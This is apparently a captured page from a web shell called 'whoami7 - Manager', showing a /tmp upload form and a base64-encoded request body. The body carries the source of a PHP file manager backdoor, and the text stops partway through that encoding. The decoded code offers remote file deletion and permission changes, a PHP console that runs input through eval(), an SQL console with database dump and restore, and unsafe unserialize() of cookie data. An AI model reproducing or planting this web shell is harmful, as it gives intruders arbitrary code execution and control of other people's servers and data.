whoami7 - Manager
:
/
tmp
/
Upload File:
files >> //tmp/php9yjAjX
code_filename=cmFuZG9t&code_content=PD9waHANCi8qIFBIUCBGaWxlIG1hbmFnZXIgdmVyIDEuNSAqLw0KDQovLyBQcmVwYXJhdGlvbnMNCiRzdGFydHRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KJHN0YXJ0dGltZSA9ICRzdGFydHRpbWVbMV0gKyAkc3RhcnR0aW1lWzBdOw0KJGxhbmdzID0gYXJyYXkoJ2VuJywncnUnLCdkZScsJ2ZyJywndWsnKTsNCiRwYXRoID0gZW1wdHkoJF9SRVFVRVNUWydwYXRoJ10pID8gJHBhdGggPSByZWFscGF0aCgnLicpIDogcmVhbHBhdGgoJF9SRVFVRVNUWydwYXRoJ10pOw0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKSAuICcvJzsNCiRtYWluX3BhdGg9c3RyX3JlcGxhY2UoJ1xcJywgJy8nLHJlYWxwYXRoKCcuLycpKTsNCiRwaGFyX21heWJlID0gKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksIjUuMy4wIiwiPCIpKT90cnVlOmZhbHNlOw0KJG1zZ19udGltZXMgPSAnJzsgLy8gc2VydmljZSBzdHJpbmcNCiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JzsNCiRkZXRlY3RfbGFuZyA9IHRydWU7DQokZm1fdmVyc2lvbiA9IDEuNDsNCg0KLy8gTGl0dGxlIGRlZmF1bHQgY29uZmlnDQokZm1fZGVmYXVsdF9jb25maWcgPSBhcnJheSAoDQoJJ21ha2VfZGlyZWN0b3J5JyA9PiB0cnVlLCANCgknbmV3X2ZpbGUnID0%2BIHRydWUsIA0KCSd1cGxvYWRfZmlsZScgPT4gdHJ1ZSwgDQoJJ3Nob3dfZGlyX3NpemUnID0%2BIGZhbHNlLCAvL2lmIHRydWUsIHNob3cgZGlyZWN0b3J5IHNpemUg4oaSIG1heWJlIHNsb3cgDQoJJ3Nob3dfaW1nJyA9PiB0cnVlLCANCgknc2hvd19waHBfdmVyJyA9PiB0cnVlLCANCgknc2hvd19waHBfaW5pJyA9PiBmYWxzZSwgLy8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaQ0KCSdzaG93X2d0JyA9PiB0cnVlLCAvLyBzaG93IGdlbmVyYXRpb24gdGltZQ0KCSdlbmFibGVfcGhwX2NvbnNvbGUnID0%2BIHRydWUsDQoJJ2VuYWJsZV9zcWxfY29uc29sZScgPT4gdHJ1ZSwNCgknc3FsX3NlcnZlcicgPT4gJ2xvY2FsaG9zdCcsDQoJJ3NxbF91c2VybmFtZScgPT4gJ3Jvb3QnLA0KCSdzcWxfcGFzc3dvcmQnID0%2BICcnLA0KCSdzcWxfZGInID0%2BICd0ZXN0X2Jhc2UnLA0KCSdlbmFibGVfcHJveHknID0%2BIHRydWUsDQoJJ3Nob3dfcGhwaW5mbycgPT4gdHJ1ZSwNCgknc2hvd194bHMnID0%2BIHRydWUsDQoJJ2ZtX3NldHRpbmdzJyA9PiB0cnVlLA0KCSdyZXN0b3JlX3RpbWUnID0%2BIHRydWUsDQoJJ2ZtX3Jlc3RvcmVfdGltZScgPT4gZmFsc2UsDQopOw0KDQppZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZzsNCmVsc2UgJGZtX2NvbmZpZyA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWydmbV9jb25maWcnXSk7DQoNCi8vIENoYW5nZSBsYW5ndWFnZQ0KaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyANCglzZXRjb29raWUoJ2ZtX2xhbmcnLCAkX1BPU1RbJ2ZtX2xhbmcnXSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOw0KfQ0KJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7DQoNCi8vIERldGVjdCBicm93c2VyIGxhbmd1YWdlDQppZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7DQoJJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOw0KCWlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsNCgkJZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsNCgkJCSRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTsNCgkJCSRsbmcgPSAkbG5nWzBdOw0KCQkJaWYoaW5fYXJyYXkoJGxuZywkbGFuZ3MpKXsNCgkJCQkkbGFuZ3VhZ2UgPSAkbG5nOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoJfQ0KfSANCg0KLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXINCiRsYW5ndWFnZSA9IChlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSkgPyAkbGFuZ3VhZ2UgOiAkX0NPT0tJRVsnZm1fbGFuZyddOw0KDQoNCi8vdHJhbnNsYXRpb24NCmZ1bmN0aW9uIF9fKCR0ZXh0KXsNCglnbG9iYWwgJGxhbmc7DQoJaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07DQoJZWxzZSByZXR1cm4gJHRleHQ7DQp9Ow0KDQovL2RlbGV0ZSBmaWxlcyBhbmQgZGlycyByZWN1cnNpdmVseQ0KZnVuY3Rpb24gZm1fZGVsX2ZpbGVzKCRmaWxlLCAkcmVjdXJzaXZlID0gZmFsc2UpIHsNCglpZigkcmVjdXJzaXZlICYmIEBpc19kaXIoJGZpbGUpKSB7DQoJCSRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSwgJycsICcnLCB0cnVlKTsNCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsNCgkJCWlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpew0KCQkJCWZtX2RlbF9maWxlcygkZmlsZSAuICcvJyAuICRlbCwgdHJ1ZSk7DQoJCQl9DQoJCX0NCgl9DQoJaWYoQGlzX2RpcigkZmlsZSkpIHsNCgkJcmV0dXJuIHJtZGlyKCRmaWxlKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gQHVubGluaygkZmlsZSk7DQoJfQ0KfQ0KDQovL2ZpbGUgcGVybXMNCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXsNCgkkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KCSRpbmZvID0gJyc7DQoJaWYoISRpZil7DQoJCWlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCgkJCS8vU29ja2V0DQoJCQkkaW5mbyA9ICdzJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgew0KCQkJLy9TeW1ib2xpYyBMaW5rDQoJCQkkaW5mbyA9ICdsJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KCQkJLy9SZWd1bGFyDQoJCQkkaW5mbyA9ICctJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgew0KCQkJLy9CbG9jayBzcGVjaWFsDQoJCQkkaW5mbyA9ICdiJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCQkJLy9EaXJlY3RvcnkNCgkJCSRpbmZvID0gJ2QnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoJCQkvL0NoYXJhY3RlciBzcGVjaWFsDQoJCQkkaW5mbyA9ICdjJzsNCgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KCQkJLy9GSUZPIHBpcGUNCgkJCSRpbmZvID0gJ3AnOw0KCQl9IGVsc2Ugew0KCQkJLy9Vbmtub3duDQoJCQkkaW5mbyA9ICd1JzsNCgkJfQ0KCX0NCiAgDQoJLy9Pd25lcg0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA%2FICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KCSgoJHBlcm1zICYgMHgwODAwKSA%2FICdzJyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiANCgkvL0dyb3VwDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA%2FDQoJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwNDAwKSA%2FICdTJyA6ICctJykpOw0KIA0KCS8vV29ybGQNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA%2FICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCglyZXR1cm4gJGluZm87DQp9DQoNCmZ1bmN0aW9uIGZtX2NvbnZlcnRfcmlnaHRzKCRtb2RlKSB7DQoJJG1vZGUgPSBzdHJfcGFkKCRtb2RlLDksJy0nKTsNCgkkdHJhbnMgPSBhcnJheSgnLSc9PicwJywncic9Pic0Jywndyc9PicyJywneCc9PicxJyk7DQoJJG1vZGUgPSBzdHJ0cigkbW9kZSwkdHJhbnMpOw0KCSRuZXdtb2RlID0gJzAnOw0KCSRvd25lciA9IChpbnQpICRtb2RlWzBdICsgKGludCkgJG1vZGVbMV0gKyAoaW50KSAkbW9kZVsyXTsgDQoJJGdyb3VwID0gKGludCkgJG1vZGVbM10gKyAoaW50KSAkbW9kZVs0XSArIChpbnQpICRtb2RlWzVdOyANCgkkd29ybGQgPSAoaW50KSAkbW9kZVs2XSArIChpbnQpICRtb2RlWzddICsgKGludCkgJG1vZGVbOF07IA0KCSRuZXdtb2RlIC49ICRvd25lciAuICRncm91cCAuICR3b3JsZDsNCglyZXR1cm4gaW50dmFsKCRuZXdtb2RlLCA4KTsNCn0NCg0KZnVuY3Rpb24gZm1fY2htb2QoJGZpbGUsICR2YWwsICRyZWMgPSBmYWxzZSkgew0KCSRyZXMgPSBAY2htb2QocmVhbHBhdGgoJGZpbGUpLCAkdmFsKTsNCglpZihAaXNfZGlyKCRmaWxlKSAmJiAkcmVjKXsNCgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTsNCgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsNCgkJCSRyZXMgPSAkcmVzICYmIGZtX2NobW9kKCRmaWxlIC4gJy8nIC4gJGVsLCAkdmFsLCB0cnVlKTsNCgkJfQ0KCX0NCglyZXR1cm4gJHJlczsNCn0NCg0KLy9sb2FkIGZpbGVzDQpmdW5jdGlvbiBmbV9kb3dubG9hZCgkZmlsZV9uYW1lKSB7DQogICAgaWYgKCFlbXB0eSgkZmlsZV9uYW1lKSkgew0KCQlpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IiAuIGJhc2VuYW1lKCRmaWxlX25hbWUpKTsgICANCgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCIpOw0KCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2Rvd25sb2FkIik7DQoJCQloZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgICAgICAgICAgICANCgkJCWhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZV9uYW1lKSk7CQkNCgkJCWZsdXNoKCk7IC8vIHRoaXMgZG9lc24ndCByZWFsbHkgbWF0dGVyLg0KCQkJJGZwID0gZm9wZW4oJGZpbGVfbmFtZSwgInIiKTsNCgkJCXdoaWxlICghZmVvZigkZnApKSB7DQoJCQkJZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsNCgkJCQlmbHVzaCgpOyAvLyB0aGlzIGlzIGVzc2VudGlhbCBmb3IgbGFyZ2UgZG93bmxvYWRzDQoJCQl9IA0KCQkJZmNsb3NlKCRmcCk7DQoJCQlkaWUoKTsNCgkJfSBlbHNlIHsNCgkJCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7DQoJCQloZWFkZXIoJ1N0YXR1czogNDA0IE5vdCBGb3VuZCcpOyANCgkJCWRpZSgpOw0KICAgICAgICB9DQogICAgfSANCn0NCg0KLy9zaG93IGZvbGRlciBzaXplDQpmdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHsNCglpZigkZm9ybWF0KSAgew0KCQkkc2l6ZT1mbV9kaXJfc2l6ZSgkZixmYWxzZSk7DQoJCWlmKCRzaXplPD0xMDI0KSByZXR1cm4gJHNpemUuJyBieXRlcyc7DQoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQpLDIpLicmbmJzcDtLYic7DQoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInOw0KCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7DQoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemUvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtUYic7IC8vOikpKQ0KCQllbHNlIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7UGInOyAvLyA7LSkNCgl9IGVsc2Ugew0KCQlpZihpc19maWxlKCRmKSkgcmV0dXJuIGZpbGVzaXplKCRmKTsNCgkJJHNpemU9MDsNCgkJJGRoPW9wZW5kaXIoJGYpOw0KCQl3aGlsZSgoJGZpbGU9cmVhZGRpcigkZGgpKSE9PWZhbHNlKSB7DQoJCQlpZigkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSBjb250aW51ZTsNCgkJCWlmKGlzX2ZpbGUoJGYuJy8nLiRmaWxlKSkgJHNpemUrPWZpbGVzaXplKCRmLicvJy4kZmlsZSk7DQoJCQllbHNlICRzaXplKz1mbV9kaXJfc2l6ZSgkZi4nLycuJGZpbGUsZmFsc2UpOw0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCXJldHVybiAkc2l6ZStmaWxlc2l6ZSgkZik7IA0KCX0NCn0NCg0KLy9zY2FuIGRpcmVjdG9yeQ0KZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7DQoJJGRpciA9ICRuZGlyID0gYXJyYXkoKTsNCglpZighZW1wdHkoJGV4cCkpew0KCQkkZXhwID0gJy9eJyAuIHN0cl9yZXBsYWNlKCcqJywgJyguKiknLCBzdHJfcmVwbGFjZSgnLicsICdcXC4nLCAkZXhwKSkgLiAnJC8nOw0KCX0NCglpZighZW1wdHkoJHR5cGUpICYmICR0eXBlICE9PSAnYWxsJyl7DQoJCSRmdW5jID0gJ2lzXycgLiAkdHlwZTsNCgl9DQoJaWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7DQoJCSRmaCA9IG9wZW5kaXIoJGRpcmVjdG9yeSk7DQoJCXdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGZoKSkpIHsNCgkJCWlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgew0KCQkJCWlmKChlbXB0eSgkdHlwZSkgfHwgJHR5cGUgPT0gJ2FsbCcgfHwgJGZ1bmMoJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlbmFtZSkpICYmIChlbXB0eSgkZXhwKSB8fCBwcmVnX21hdGNoKCRleHAsICRmaWxlbmFtZSkpKXsNCgkJCQkJJGRpcltdID0gJGZpbGVuYW1lOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZmgpOw0KCQluYXRzb3J0KCRkaXIpOw0KCX0NCglyZXR1cm4gJGRpcjsNCn0NCg0KZnVuY3Rpb24gZm1fbGluaygkZ2V0LCRsaW5rLCRuYW1lLCR0aXRsZT0nJykgew0KCWlmIChlbXB0eSgkdGl0bGUpKSAkdGl0bGU9JG5hbWUuJyAnLmJhc2VuYW1lKCRsaW5rKTsNCglyZXR1cm4gJyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLiciIHRpdGxlPSInLiR0aXRsZS4nIj4nLiRuYW1lLic8L2E%2BJzsNCn0NCg0KZnVuY3Rpb24gZm1fYXJyX3RvX29wdGlvbigkYXJyLCRuLCRzZWw9Jycpew0KCWZvcmVhY2goJGFyciBhcyAkdil7DQoJCSRiPSR2WyRuXTsNCgkJJHJlcy49JzxvcHRpb24gdmFsdWU9IicuJGIuJyIgJy4oJHNlbCAmJiAkc2VsPT0kYj8nc2VsZWN0ZWQnOicnKS4nPicuJGIuJzwvb3B0aW9uPic7DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KDQpmdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpew0KcmV0dXJuICcNCjxmb3JtIG5hbWU9ImNoYW5nZV9sYW5nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCgk8c2VsZWN0IG5hbWU9ImZtX2xhbmciIHRpdGxlPSInLl9fKCdMYW5ndWFnZScpLiciIG9uY2hhbmdlPSJkb2N1bWVudC5mb3Jtc1tcJ2NoYW5nZV9sYW5nXCddLnN1Ym1pdCgpIiA%2BDQoJCTxvcHRpb24gdmFsdWU9ImVuIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0VuZ2xpc2gnKS4nPC9vcHRpb24%2BDQoJCTxvcHRpb24gdmFsdWU9ImRlIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0dlcm1hbicpLic8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0icnUiICcuKCRjdXJyZW50PT0ncnUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic%2BJy5fXygnUnVzc2lhbicpLic8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZnIiICcuKCRjdXJyZW50PT0nZnInPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic%2BJy5fXygnRnJlbmNoJykuJzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJ1ayIgJy4oJGN1cnJlbnQ9PSd1ayc%2FJ3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdVa3JhaW5pYW4nKS4nPC9vcHRpb24%2BDQoJPC9zZWxlY3Q%2BDQo8L2Zvcm0%2BDQonOw0KfQ0KCQ0KZnVuY3Rpb24gZm1fcm9vdCgkZGlybmFtZSl7DQoJcmV0dXJuICgkZGlybmFtZT09Jy4nIE9SICRkaXJuYW1lPT0nLi4nKTsNCn0NCg0KZnVuY3Rpb24gZm1fcGhwKCRzdHJpbmcpew0KCSRkaXNwbGF5X2Vycm9ycz1pbmlfZ2V0KCdkaXNwbGF5X2Vycm9ycycpOw0KCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTsNCglvYl9zdGFydCgpOw0KCWV2YWwodHJpbSgkc3RyaW5nKSk7DQoJJHRleHQgPSBvYl9nZXRfY29udGVudHMoKTsNCglvYl9lbmRfY2xlYW4oKTsNCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICRkaXNwbGF5X2Vycm9ycyk7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KDQovL1NIT1cgREFUQUJBU0VTDQpmdW5jdGlvbiBmbV9zcWxfY29ubmVjdCgpew0KCWdsb2JhbCAkZm1fY29uZmlnOw0KCXJldHVybiBuZXcgbXlzcWxpKCRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXSwgJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10sICRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLCAkZm1fY29uZmlnWydzcWxfZGInXSk7DQp9DQoNCmZ1bmN0aW9uIGZtX3NxbCgkcXVlcnkpew0KCWdsb2JhbCAkZm1fY29uZmlnOw0KCSRxdWVyeT10cmltKCRxdWVyeSk7DQoJb2Jfc3RhcnQoKTsNCgkkY29ubmVjdGlvbiA9IGZtX3NxbF9jb25uZWN0KCk7DQoJaWYgKCRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yKSB7DQoJCW9iX2VuZF9jbGVhbigpOwkNCgkJcmV0dXJuICRjb25uZWN0aW9uLT5jb25uZWN0X2Vycm9yOw0KCX0NCgkkY29ubmVjdGlvbi0%2Bc2V0X2NoYXJzZXQoJ3V0ZjgnKTsNCiAgICAkcXVlcmllZCA9IG15c3FsaV9xdWVyeSgkY29ubmVjdGlvbiwkcXVlcnkpOw0KCWlmICgkcXVlcmllZD09PWZhbHNlKSB7DQoJCW9iX2VuZF9jbGVhbigpOwkNCgkJcmV0dXJuIG15c3FsaV9lcnJvcigkY29ubmVjdGlvbik7DQogICAgfSBlbHNlIHsNCgkJaWYoIWVtcHR5KCRxdWVyaWVkKSl7DQoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkgew0KCQkJCSRxdWVyeV9yZXN1bHRbXT0gICRyb3c7DQoJCQl9DQoJCX0NCgkJJHZkdW1wPWVtcHR5KCRxdWVyeV9yZXN1bHQpPycnOnZhcl9leHBvcnQoJHF1ZXJ5X3Jlc3VsdCx0cnVlKTsJDQoJCW9iX2VuZF9jbGVhbigpOwkNCgkJJGNvbm5lY3Rpb24tPmNsb3NlKCk7DQoJCXJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8L3ByZT4nOw0KCX0NCn0NCg0KZnVuY3Rpb24gZm1fYmFja3VwX3RhYmxlcygkdGFibGVzID0gJyonLCAkZnVsbF9iYWNrdXAgPSB0cnVlKSB7DQoJZ2xvYmFsICRwYXRoOw0KCSRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsNCgkkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsNCglpZigkdGFibGVzID09ICcqJykJew0KCQkkdGFibGVzID0gYXJyYXkoKTsNCgkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpCXsNCgkJCSR0YWJsZXNbXSA9ICRyb3dbMF07DQoJCX0NCgl9IGVsc2Ugew0KCQkkdGFibGVzID0gaXNfYXJyYXkoJHRhYmxlcykgPyAkdGFibGVzIDogZXhwbG9kZSgnLCcsJHRhYmxlcyk7DQoJfQ0KICAgIA0KCSRyZXR1cm49Jyc7DQoJZm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSkJew0KCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkJJG51bV9maWVsZHMgPSBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCgkJJHJldHVybi49ICdEUk9QIFRBQkxFIElGIEVYSVNUUyBgJy4kdGFibGUuJ2AnLiRkZWxpbWl0ZXI7DQoJCSRyb3cyID0gbXlzcWxpX2ZldGNoX3JvdygkbXlzcWxkYi0%2BcXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFICcuJHRhYmxlKSk7DQoJCSRyZXR1cm4uPSRyb3cyWzFdLiRkZWxpbWl0ZXI7DQogICAgICAgIGlmICgkZnVsbF9iYWNrdXApIHsNCgkJZm9yICgkaSA9IDA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspICB7DQoJCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KCQkJCSRyZXR1cm4uPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIFZBTFVFUygnOw0KCQkJCWZvcigkaj0wOyAkajwkbnVtX2ZpZWxkczsgJGorKykJew0KCQkJCQkkcm93WyRqXSA9IGFkZHNsYXNoZXMoJHJvd1skal0pOw0KCQkJCQkkcm93WyRqXSA9IHN0cl9yZXBsYWNlKCJcbiIsIlxcbiIsJHJvd1skal0pOw0KCQkJCQlpZiAoaXNzZXQoJHJvd1skal0pKSB7ICRyZXR1cm4uPSAnIicuJHJvd1skal0uJyInIDsgfSBlbHNlIHsgJHJldHVybi49ICciIic7IH0NCgkJCQkJaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0gJywnOyB9DQoJCQkJfQ0KCQkJCSRyZXR1cm4uPSAnKScuJGRlbGltaXRlcjsNCgkJCX0NCgkJICB9DQoJCX0gZWxzZSB7IA0KCQkkcmV0dXJuID0gcHJlZ19yZXBsYWNlKCIjQVVUT19JTkNSRU1FTlQ9W1xkXSsgI2lzIiwgJycsICRyZXR1cm4pOw0KCQl9DQoJCSRyZXR1cm4uPSJcblxuXG4iOw0KCX0NCg0KCS8vc2F2ZSBmaWxlDQogICAgJGZpbGU9Z21kYXRlKCJZLW0tZF9ILWktcyIsdGltZSgpKS4nLnNxbCc7DQoJJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3KycpOw0KCWZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pOw0KCWZjbG9zZSgkaGFuZGxlKTsNCgkkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycuIF9fKCdGaWxlIHNlbGVjdGVkJykuJzogXG4nLiAkZmlsZS4gJy4gXG4nLl9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZmlsZT8nKSAuICdcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJz9kZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsNCiAgICByZXR1cm4gJGZpbGUuJzogJy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGZpbGUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiRmaWxlKS4nIDxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZSAuICciICcgLiAkYWxlcnQgLiAnPicgLiBfXygnRGVsZXRlJykgLiAnPC9hPic7DQp9DQoNCmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7DQoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOw0KCSRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOw0KICAgIC8vIExvYWQgYW5kIGV4cGxvZGUgdGhlIHNxbCBmaWxlDQogICAgJGYgPSBmb3Blbigkc3FsRmlsZVRvRXhlY3V0ZSwicisiKTsNCiAgICAkc3FsRmlsZSA9IGZyZWFkKCRmLGZpbGVzaXplKCRzcWxGaWxlVG9FeGVjdXRlKSk7DQogICAgJHNxbEFycmF5ID0gZXhwbG9kZSgkZGVsaW1pdGVyLCRzcWxGaWxlKTsNCgkNCiAgICAvL1Byb2Nlc3MgdGhlIHNxbCBmaWxlIGJ5IHN0YXRlbWVudHMNCiAgICBm